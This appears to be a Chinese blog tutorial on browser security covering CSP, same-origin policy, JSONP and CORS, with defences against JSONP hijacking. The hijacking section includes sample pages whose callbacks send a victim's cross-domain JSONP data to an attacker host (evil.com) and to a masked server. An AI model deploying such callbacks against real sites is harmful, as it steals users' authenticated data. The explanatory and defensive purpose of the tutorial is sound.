前端安全之CSP、同源策略与跨域请求(JSONP/CORS)


内容安全策略(Content-Security-Policy,CSP)

CSP是…

CSP的实质就是白名单策略,预先设定好哪些资源能被加载执行而哪些不能。除了普通的CSP还有个CSPRO(Content-Security-Policy-Report-Only),区别是后者不限制执行,而是记录违反限制的行为,需要与report-uri一起使用。

CSP由浏览器完成实现,配置的方法一是HTTP头Content-Security-Policy(优先级高),二是HTML的<meta>标签:

示例

Content-Security-Policy: default-src 'self' //只允许同源资源

<meta http-equiv="content-security-policy" content="script-src 'self'; object-src 'none'; style-src 1.com 2.cn; child-src https:">
  • 脚本:只信任当前域名
  • 标签:不加载任何资源
  • 样式表:只信任http://1.com和http://2.cn
  • 框架(frame):必须使用HTTPS协议加载
  • 其他资源没有限制
指令 示例 说明
default-src ‘self’ cdn.example.com 定义资源默认加载策略
script-src ‘self’ js.example.com 定义 JS 的加载策略
img-src ‘self’ img.example.com 定义图片的加载策略
style-src ‘self’ css.example.com 定义样式表的加载策略
font-src font.example.com 定义字体的加载策略、
object-src ‘self’ 定义引用资源的加载策略,如 <object> <embed> <applet>等
media-src media.example.com 定义音频和视频的加载策略,如 HTML5 中的 <audio> <video>
connect-src ‘self’ 定义 Ajax、WebSocket 等的加载策略
frame-src ‘self’ 定义 frame 的加载策略,不赞成使用,改用 child-src

CSP绕过

上传点/302重定向/预加载/JSONP跨域(下文会讲到)/等,已经被总结得比较完善了,贴师傅们的链接吧:

前端防御从入门到弃坑–CSP变迁

CSP绕过总结

同源

同源:域名(主机名或者IP地址)、端口、协议相同,不同客户端脚本(JavaScript、ActionScript)未授权时不能读取对方的资源。

在IE中两个高度互信的域名不受同源策略的限制,端口号不属于同源。

HTTP头中的ACCESS-CONTROL-ALLOW-ORIGIN

ACCESS-CONTROL-ALLOW-ORIGIN:http://0sec.com.cn 允许特定源访问
ACCESS-CONTROL-ALLOW-ORIGIN:* 允许所有域名脚本访问

跨域请求

JSONP(JSON with Padding)

JSON是一种数据格式,而JSONP是一种跨域数据交互协议

AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),ajax直接请求无法跨域(可以通过服务端代理实现),调用js则可以跨域,那么想通过纯web端跨域请求数据,就需要js格式的文件,而JSON被js原生支持。客户端调用服务端动态生成的JSON,再进行下一步处理等等。

JSONP在此基础上,协议允许用户传递一个callback回调函数给服务端,服务端会将数据以参数形式返回请求的数据:

<script type="text/javascript">
    // 得到航班信息查询结果后的回调函数
    var flightHandler = function(data){
        alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');
    };
    // 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)
    var url = "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998&callback=flightHandler";
    // 创建script标签,设置其属性
    var script = document.createElement('script');
    script.setAttribute('src', url);
    // 把script标签加入head,此时调用开始
    document.getElementsByTagName('head')[0].appendChild(script); 
</script>

callback参数告诉服务器,我的本地回调函数叫做flightHandler,所以请把查询结果传入这个函数中进行调用。

ajax和jsonp目的都是请求一个url然后处理返回的数据,jQuery把jsonp作为ajax的一种形式进行了封装,但两者本质是不同的东西:

ajax的核心是通过XmlHttpRequest获取非本页内容,而jsonp的核心则是动态添加<script>标签来调用服务器提供的js脚本。

ajax也可以跨域,jsonp也可以同域,两者的区别不在是否跨域。而jsonp也不一定非要传递json格式的数据。

JSONP只支持get请求

JSONP Hijacking(jsonp劫持)

简单地说,JSONP是一种跨域数据获取的方式,核心就是用callback回调函数传递数据,前端定义的函数在后端完成调用然后回到前端执行。

攻击样例:

<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>

代码很直观,用户在带有身份认证信息时访问页面,触发回调函数,将获取的数据传递到evil服务器上,这个流程也就完全符合了CSRF的攻击原理,因此也将这种JSONP的劫持归为CSRF的一种。

又比如:

<script>
    var xmlhttp;
    function jsonppp(a)
    {
    xmlhttp=new XMLHttpRequest()
    var x="http://***.***.***/json.php?name="+a.data.name;
    xmlhttp.open("GET", x, true);
    xmlhttp.send();
    }
</script>
<script src=http://***.***.***?callback=jsonppp></script>

代码都是大同小异,原理也比较简单,但是在防御上还是有一些值得注意的地方:

防御且防止绕过

校验Referer,验证数据调用来源

思路很直观,但是在实际校验时容易出现问题,攻击者可以构造子域名的URL来绕过正则的校验;或者,当跨协议调用js时,http请求中的Referer是空的,这一点很容易被遗漏。此外,XSS漏洞也可能导致空Referer。

增加Token验证
  • 要保证Token的复杂性,防止被爆破;
  • Token如果作为GET请求的参数,很容易在Referer中泄露;
  • 结合同域下的XSS漏洞可能获取到Token。

CORS(Cross-origin resource sharing)

CORS由浏览器自动完成,在开发时与AJAX代码完全一样。只要服务器支持CORS就可以实现。浏览器一旦发现AJAX请求跨源,会添加额外的HTTP头。

CORS请求分为简单请求和非简单请求,简单请求的条件是:

(1) 请求方法是以下三种方法之一:

    HEAD
    GET
    POST

(2)HTTP的头信息不超出以下几种字段:

    Accept
    Accept-Language
    Content-Language
    Last-Event-ID
    Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

对于简单请求,浏览器增加一个Origin的头就直接发出,标明请求的来自哪个源。非简单请求则会在正式通信前发送一个“预检”请求,请求方法为OPTIONS,增加了两个请求头;浏览器确认允许跨源后,回应中多增加四个响应头,之后的CORS请求就类似简单请求了。

CORS支持所有类型的HTTP请求。

参考链接:

https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html

http://www.ruanyifeng.com/blog/2016/04/cors.html

文章目录
  1. 1. 内容安全策略(Content-Security-Policy,CSP)
    1. 1.1. CSP是…
    2. 1.2. 示例
    3. 1.3. CSP绕过
  2. 2. 同源
  3. 3. 跨域请求
    1. 3.1. JSONP(JSON with Padding)
    2. 3.2. JSONP Hijacking(jsonp劫持)
      1. 3.2.1. 防御且防止绕过
        1. 3.2.1.1. 校验Referer,验证数据调用来源
        2. 3.2.1.2. 增加Token验证
    3. 3.3. CORS(Cross-origin resource sharing)
|